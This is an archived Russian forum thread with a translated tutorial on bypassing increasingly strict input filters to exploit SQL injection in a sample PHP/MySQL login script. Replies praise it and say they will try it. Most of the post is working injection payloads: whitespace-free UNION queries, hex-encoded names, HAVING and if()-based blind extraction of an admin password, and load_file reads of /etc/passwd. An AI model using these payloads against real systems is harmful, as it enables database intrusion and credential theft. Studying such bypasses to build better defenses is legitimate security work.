PDA

Просмотр полной версии : Эксплуатация SQL-инъекций в условиях "жесткой фильтрации"


Pashkela
10.04.2010, 07:26
Приблизительный перевод вот этой интересной статьи: http://websec.wordpress.com/

Итак, рассмотрим следующий уязвимый php-скрипт:

<?php
// тут соединение с БД
$id = $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);
$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");
if($data = @mysql_fetch_array($result))
echo "Welcome ${data['name']}";
?>

Примечание: на дисплей выводится только одно имя из результата запроса.

Приступим. Как видно, параметр “id” подвержен SQL-инъекии. Проверяем:

1) ?id=1 and 1=0-- -
2) ?id=1 and 1=1-- -

На экран выведется имя из запроса в случае второго варианта. Также мы может посмотреть имена всех юзеров
использую лимит:

?id=1 or 1=1 LIMIT x,1--

Но имена пользователей для нас не так интересны, как их пароли. А чтобы узнать пароли, мы сначала должны узнать
названия таблиц и колонок:

?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1--
?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1--
?id=1 and 1=0 union select null,password,null from users limit 1,1--

в общем-то и все. Мы получили желаемое. Это классичесская ситуация. Теперь рассмотрим варианты, когда в дело вступают фильтры значения id.

1. Фильтруются пробелы, кавычки и слеши.

т.е. в исходном коде вставили такую фильтрацию id:

if(preg_match('/\s/', $id))
exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
exit('attack'); // no slashes

Как мы видели из вариантов раскрутки sql-инъекции в начале, там использовались и пробелы и кавычки. Сначала нам приходит в голову заменить пробелы на /*комментарии*/, но слеши, как видно, тоже фильтруются. Ну что же, поробуем обойтись вовсе без пробелов:

?id=(1)and(1)=(0)union(select(null),table_name,(nu ll)from(information_schema.tables)limit 28,1--)

С виду вроде то, что надо, однако в конце все-таки присутствует пробел после limit. Но у нас есть функция group_concat(), которая поможет нам получение списка всех таблиц без использования limit. А т.к. длина полученного результат (имена всех таблиц, что влезут в group_concat() - ограничение 1024) , может получиться очень большой, мы можем получать результат частями, используя mid() или substring():

?id=(1)and(1)=(0)union(select(null),mid(group_conc at(table_name),600,100),(null)from(information_sch ema.tables))#

Для получения имен колонок и чтобы не использовать кавычки, захексим имя таблицы:

?id=(1)and(1)=(0)union(select(null),group_concat(c olumn_name),(null)from(information_schema.columns) where(table_name)=(0x7573657273))#

В приципе всё - ни пробелов, ни слешей, ни кавычек мы не использовали и удачно обошли фильтр.

2. Фильтрация базовых словосочетаний, применяемых при sql-запросах

Теперь в нашем исходнике вставили такой фильтр:

if(preg_match('/\s/', $id))
exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
exit('attack'); // no slashes
if(preg_match('/(and|null|where|limit)/i', $id))
exit('attack'); // no sqli keywords

Т.е. добавили фильтрацию на “and”, “null”, “where” and “limit”

Проверяем, есть ли вообще sql-инъекция, но уже другим способом:

?id=1#
?id=2-1#

Результат одинаковый - скуля есть. Чтобы получить возможность влиять на sql-инъекцию и вызвать ошибку, подставим несуществующий id - 0, и, вспомнив про фильтр, сделаем такие запросы (предварительно узнав кол-во колонок, разумеется) без where и limit:

?id=(0)union(select(0),group_concat(table_name),(0 )from(information_schema.tables))#
?id=(0)union(select(0),group_concat(column_name),( 0)from(information_schema.columns))#

Таким образом мы сможем получить имена всех таблиц и колонок, как правильно использовать group_concat() для обхождения лимита в 1024 байта можно прочитать здесь (https://forum.antichat.net/thread118842-group_concat.html).

3. Алтернатива WHERE.

Как вариант можно использовать ORDER BY column_name DESC для получения имен таблиц, но не сработает, т.к. ORDER BY использует пробелы и так мы фильтр не обойдем. Посмотрим в сторону HAVING. Сначала посмотрим, какие базы доступны для просмотра:

?id=(0)union(select(0),group_concat(schema_name),( 0)from(information_schema.schemata))#

Не забываем про ограничение в 1024 байта, посмотрим database() чтобы узнать имя текущей базы:

?id=(0)union(select(0),database(),(0))#

Допустим, что имя текущей БД “test”, что в хексе будет “0×74657374″ и попробуем получить все таблицы из базы “test” с помощью HAVING без использования WHERE:

?id=(0)union(select(table_schema),table_name,(0)fr om(information_schema.tables)having((table_schema) like(0x74657374)))#

Вспомним, что на экран нам выводится только один результат выполненного запроса и, для получения имени второй таблицы, мы можем воспользоваться такой конструкцией:

?id=(0)union(select(table_schema),table_name,(0)fr om(information_schema.tables)having((table_schema) like(0x74657374)&&(table_name)!=(0x7573657273)))#

Обратите внимание, мы использали && вместо AND, чтобы обойти фильтр. Получив имена всех таблиц, таким же способом мы получаем колонки:

?id=(0)union(select(table_name),column_name,(0)fro m(information_schema.columns)having((table_name)li ke(0x7573657273)))#

?id=(0)union(select(table_name),column_name,(0)fro m(information_schema.columns)having((table_name)li ke(0x7573657273)&&(column_name)!=(0x6964)))#

Единственный недостаток такого метода, что совместно с HAVING мы не можем использовать group_concat(), поэтому придется перебирать каждую запись.

еще вариант (без использования "=" и "!=" - если фильтруются):

?id=(0)union(select(table_name),column_name,(0)fro m(information_schema.columns)having((table_name)li ke(0x7573657273)&&(NOT((column_name)like(0x6964)))))#


4. Усложняем фильтр.

if(preg_match('/\s/', $id))
exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
exit('attack'); // no slashes
if(preg_match('/(and|or|null|where|limit)/i', $id))
exit('attack'); // no sqli keywords
if(preg_match('/(union|select|from|having)/i', $id))
exit('attack'); // no sqli keywords


Как видим, добавился фильтр на слова union|select|from|having. В таком случае мы можем лишь воспользоваться load_file() если у текущего юзера file_priv=Y и прочитать интересующий нас файл.

Но мы не можем использовать load_file() при такой фильтрации обычным способом, т.к. мы не может использовать union select, поэтому у нас будет такая альтернатива:

Сначала мы должны проверить, что мы можем прочитать файл. Load_file() вернет “null” если файл не может быть прочитан, но т.к. “null” фильтруется, мы можем использовать функцию coalesce() которая возврает первое not-null значение из списка:

?id=(coalesce(length(load_file(0x2F6574632F7061737 37764)),1))

При удачном запросе вернется размер файла, который мы хотим прочитать, при неудачном - 1.
Будем использовать оператор CASE для посимвольного чтения файла:

?id=(case(mid(load_file(0x2F6574632F706173737764), $x,1))when($char)then(1)else(0)end)

где $char - это sql хекс-значение символа файла в позиции $x

Таким образом мы обойдем фильтр и сможем прочитать файл, если у нас есть соответствующие привелегии (file_priv=Y).

6. Фильтр практически на все.

Добавим фильтр, что хекер не смог воспользоваться LOAD_FILE и также добавим в список SQL-комментарии:

if(preg_match('/\s/', $id))
exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id))
exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id))
exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id))
exit('attack'); // no sqli select keywords
if(preg_match('/(into|file|case)/i', $id))
exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id))
exit('attack'); // no sqli comments


SQL-инъекция по прежнему есть, но эксплуатировать её невозможно, с первого взгляда. Что же можно сделать в такой ситуации?

Мы не можем использовать procedure analyse(), про который прочитать можно здесь (http://raz0r.name/obzory/sql-inekcii-i-procedure-analyse/), потому что он использует пробелы в своей конструкции, и мы не можем использовать трюк с ‘1′%’0′

Но выход есть. Первое, что мы должны помнить, это что мы уже находимся в SELECT запросе и мы можем попробовать добавить дополнительные условия в текущее WHERE. Единственная проблема в том, что мы можем получить доступ только к тем колонкам, которые участвуют в запросе, нам остается только узнать их имена. В нашем примере не трудно догадаться, какие у них имена, очень часто бывают такие {password, passwd, pass, pw, userpass} и т.д. Предположим, мы догадались, что колонка с паролем называется pass. Так как нам получить значение из pass? Обычный blind sql-запрос выглядел бы так:

?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)

Если первый символ пароля ‘a’ (удачный запрос) - покажет 1, при неудачном - 0. Такой вариант сработает без дополнительных SELECT, т.к. в данном случае нам не требуется доступ к другим таблицам.

Вспомним про фильтры. Чтобы обойти их, сделаем такой запрос:

?id=1&&mid(pass,1,1)=(0x61);%00

Испольуем нуль-байт вместо стандартных коментариев (которые в списке фильтра) чтобы отсечь проверку на правильный пароль из оригинального sql-запроса.

Таким образом мы можем шаг за шагом извлечь все символы пароля, правильность подобранного пароля в итоге потдвертдится выведенным на экран именем юзера. Также мы можем получить пароли всех юзеров по их id:

?id=2&&mid(pass,1,1)=(0x61);%00
?id=3&&mid(pass,1,1)=(0x61);%00

Конечно, получения пароля займет время, но если нам надо получить пароль админа и мы знаем, например, что его ник 'admin', но мы не знаем его id, то в обычной ситуации можно было сделать такой запрос:

?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00

вспомнив про фильтры немного переделаем его:

?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

Но такой вариант не сработает, т.к. “OR 1=1″ в начале запроса имеет приоритет над последующими “AND”, поэтому мы будем всегда наблюдать пароль первого юзера из таблицы, поэтому мы принудительно сравним колонку id с колонкой id (т.е. саму с собой), чтобы осуществить нашу проверку на логин/пароль независимо от id:

?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

Если символ пароля будет угадан верно, то мы увидим “Hello admin”, при неправильном запросе мы не увидим ничего.

Таким образом мы опять обошли все фильтры.

6. Фильтр практически на все и еще больше.

Добавим в фильтр “=”, “|” and “&”:

if(preg_match('/\s/', $id))
exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id))
exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id))
exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id))
exit('attack'); // no sqli select keywords
if(preg_match('/(into|file|case)/i', $id))
exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id))
exit('attack'); // no sqli comments
if(preg_match('/(=|&|\|)/', $id))
exit('attack'); // no boolean operators

Т.к. "=" фильтруется, мы можем использовать “like” или “regexp” и т.д.:

?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00

Как видим, символ “|” не используется. Но что же делать с “&”? Сможем ли мы получить результат без использования логических операторов? Сможем, используя функцию if(). Сначала попробуем узнать id, которому соответствует name = ‘admin’:

?id=if((name)like(0x61646D696E),1,0);%00

В случае удачи вернет 1, если неправильно - 0. Теперь, чтобы узнать id админа, поставим именно id вместо 1 в нашем запросе:

?id=if((name)like(0x61646D696E),id,0);%00

Ну а теперь, что получить пароль админа, у нас будет такой запрос (с комментариями):

?id=
if(
// if (it gets true if the name='admin')
if((name)like(0x61646D696E),1,0),
// then (if first password char='a' return admin id, else 0)
if(mid((password),1,1)like(0x61),id,0),
// else (return 0)
0
);%00

Что в одну строчку будет выглядеть так:

?id=if(if((name)like(0x61646D696E),1,0),if(mid((pa ssword),1,1)like(0x61),id,0),0);%00

Если символ пароля будет угадан правильно, то мы увидим “Hello admin”, иначе мы не увидим ничего(id=0).

Конец.

wildshaman
10.04.2010, 07:51
Пашкела хекер.
Спасибо действительно понравилось.

Kamik
16.04.2010, 05:50
Статья супер! надо будет попробовать! ) Респект автору и в избранное

LokbatanLi
16.04.2010, 07:30
Очень понравилось..
Cпасибо Pashkela

fenixelite
16.04.2010, 07:31
Отличная статья. Фильтры жесткие ты придумал конечно )) Надо будет попробовать. Спасибо за статью!